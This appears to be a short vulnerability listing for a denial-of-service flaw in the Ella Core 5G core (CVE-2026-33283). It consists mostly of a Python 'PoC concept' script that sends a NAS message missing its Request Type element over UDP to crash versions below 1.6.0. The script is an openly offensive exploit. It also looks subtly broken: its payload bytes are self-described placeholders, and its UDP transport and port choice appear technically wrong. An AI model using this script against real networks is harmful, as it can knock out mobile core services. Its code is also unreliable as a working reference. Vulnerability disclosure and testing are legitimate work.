CVE-2026-33283 Ella Core 拒绝服务漏洞

# PoC Concept for CVE-2026-33283 # This script demonstrates sending a malformed NAS message to Ella Core. # Note: Actual exploitation requires a valid 5G RAN setup or protocol emulator. import socket def send_malformed_nas(target_ip, target_port): """ Sends a crafted UL NAS Transport message without Request Type to trigger the panic in Ella Core < 1.6.0. """ # Constructing a raw byte buffer representing a malformed NAS PDU. # This is a placeholder structure. Real NAS messages contain specific headers. # The triggering condition is the absence of the Request Type IE within # the UL NAS Transport message payload. malformed_payload = b'\x7e\x00\x01\x00' # Example placeholder bytes try: # Sending via UDP (common for NAS transport over IP) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(malformed_payload, (target_ip, target_port)) print(f"[+] Malformed NAS message sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error sending packet: {e}") if __name__ == "__main__": TARGET_IP = "192.168.1.100" # Replace with actual Ella Core IP TARGET_PORT = 36412 # Replace with actual interface port send_malformed_nas(TARGET_IP, TARGET_PORT)